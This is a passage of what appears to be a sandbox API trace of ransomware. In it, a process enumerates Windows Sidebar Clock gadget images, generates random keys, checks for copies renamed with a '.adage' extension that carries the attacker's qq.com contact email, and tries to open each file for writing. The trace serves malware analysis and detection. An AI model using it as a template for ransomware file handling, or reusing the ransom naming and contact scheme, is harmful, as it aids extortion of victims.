returned 0xffffffff [0063.854] SetEvent (hEvent=0x154) returned 1 [0063.854] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.855] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=697) returned 1 [0063.855] CloseHandle (hObject=0x1a4) returned 1 [0063.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png")) returned 0x20 [0063.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.855] SetEvent (hEvent=0x154) returned 1 [0063.855] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.856] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1050) returned 1 [0063.856] CloseHandle (hObject=0x1a4) returned 1 [0063.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png")) returned 0x20 [0063.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.856] SetEvent (hEvent=0x154) returned 1 [0063.857] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.857] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1124) returned 1 [0063.857] CloseHandle (hObject=0x1a4) returned 1 [0063.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png")) returned 0x20 [0063.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.858] SetEvent (hEvent=0x154) returned 1 [0063.858] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.859] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=855) returned 1 [0063.859] CloseHandle (hObject=0x1a4) returned 1 [0063.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png")) returned 0x20 [0063.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.859] SetEvent (hEvent=0x154) returned 1 [0063.859] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.860] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=697) returned 1 [0063.860] CloseHandle (hObject=0x1a4) returned 1 [0063.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png")) returned 0x20 [0063.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.860] SetEvent (hEvent=0x154) returned 1 [0063.861] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.861] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1047) returned 1 [0063.861] CloseHandle (hObject=0x1a4) returned 1 [0063.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png")) returned 0x20 [0063.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.862] SetEvent (hEvent=0x154) returned 1 [0063.862] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.863] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1119) returned 1 [0063.863] CloseHandle (hObject=0x1a4) returned 1 [0063.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png")) returned 0x20 [0063.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.863] SetEvent (hEvent=0x154) returned 1 [0063.863] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.864] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=856) returned 1 [0063.864] CloseHandle (hObject=0x1a4) returned 1 [0063.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png")) returned 0x20 [0063.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.864] SetEvent (hEvent=0x154) returned 1 [0063.864] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.871] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=288) returned 1 [0063.871] CloseHandle (hObject=0x1a4) returned 1 [0063.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png")) returned 0x20 [0063.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\spacer_highlights.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\spacer_highlights.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.871] SetEvent (hEvent=0x154) returned 1 [0063.871] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.871] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=20140) returned 1 [0063.872] CloseHandle (hObject=0x1a4) returned 1 [0063.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png")) returned 0x20 [0063.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.872] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.873] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=240) returned 1 [0063.873] CloseHandle (hObject=0x1a4) returned 1 [0063.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png")) returned 0x20 [0063.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.873] SetEvent (hEvent=0x154) returned 1 [0063.873] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.874] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=475) returned 1 [0063.874] CloseHandle (hObject=0x1a4) returned 1 [0063.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png")) returned 0x20 [0063.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.876] SetEvent (hEvent=0x154) returned 1 [0063.876] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0063.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.009] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=458) returned 1 [0064.009] CloseHandle (hObject=0x1a4) returned 1 [0064.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png")) returned 0x20 [0064.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.009] SetEvent (hEvent=0x154) returned 1 [0064.009] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.010] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3119) returned 1 [0064.010] CloseHandle (hObject=0x1a4) returned 1 [0064.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png")) returned 0x20 [0064.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.010] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.013] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=19847) returned 1 [0064.013] CloseHandle (hObject=0x1a4) returned 1 [0064.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png")) returned 0x20 [0064.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.013] SetEvent (hEvent=0x154) returned 1 [0064.013] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.014] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=20891) returned 1 [0064.014] CloseHandle (hObject=0x1a4) returned 1 [0064.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png")) returned 0x20 [0064.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows 